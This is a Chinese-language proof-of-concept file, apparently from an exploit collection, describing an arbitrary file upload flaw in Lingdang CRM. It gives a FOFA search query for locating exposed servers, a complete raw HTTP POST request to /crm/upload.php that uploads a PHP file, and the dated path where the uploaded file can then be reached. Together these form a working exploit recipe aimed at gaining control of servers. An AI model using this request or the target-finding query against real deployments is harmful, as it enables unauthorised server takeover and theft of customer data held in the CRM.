POC/wpoc/北京灵当互动信息技术有限公司/灵当crmupload存在任意文件上传漏洞.md

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2025-03-04 23:12:57 +08:00
# 灵当crm upload存在任意文件上传漏洞
# 一、漏洞简介
灵当CRM 是一款企业级客户关系管理软件。它旨在帮助企业管理客户信息、销售流程、市场营销活动和客户服务等。灵当crm存在任意文件上传漏洞攻击者可以通过该漏洞写入恶意文件获取服务器权限。
# 二、影响版本
+ 灵当crm
# 三、资产测绘
+ fofa`body="[http://localhost:8088/crm/index.php"](http://localhost:8088/crm/index.php") && body="ldcrm.base.js"`
+ 特征
![1722999861305-1e9e41ad-ed6a-4750-918d-61a0631ad06a.png](./img/j8nQmcKhk10d4pW9/1722999861305-1e9e41ad-ed6a-4750-918d-61a0631ad06a-980852.png)
# 四、漏洞复现
```plain
POST /crm/upload.php HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----234561
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 149
------234561
Content-Disposition: form-data; name="file"; filename="aa.php"
Content-Type: application/octet-stream
234561
------234561--
```
![1724488643826-3811d571-231f-4716-afa1-4b1ccc1f1146.png](./img/j8nQmcKhk10d4pW9/1724488643826-3811d571-231f-4716-afa1-4b1ccc1f1146-899092.png)
```plain
/crm/recordData/20240824/aa.php
其中20240824为当前时间
```
![1724488682774-49825d41-a6b0-4d3b-9280-1734b8fa1b04.png](./img/j8nQmcKhk10d4pW9/1724488682774-49825d41-a6b0-4d3b-9280-1734b8fa1b04-648240.png)
> 更新: 2024-10-21 11:49:37
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ilggltsrlmmqkw8h>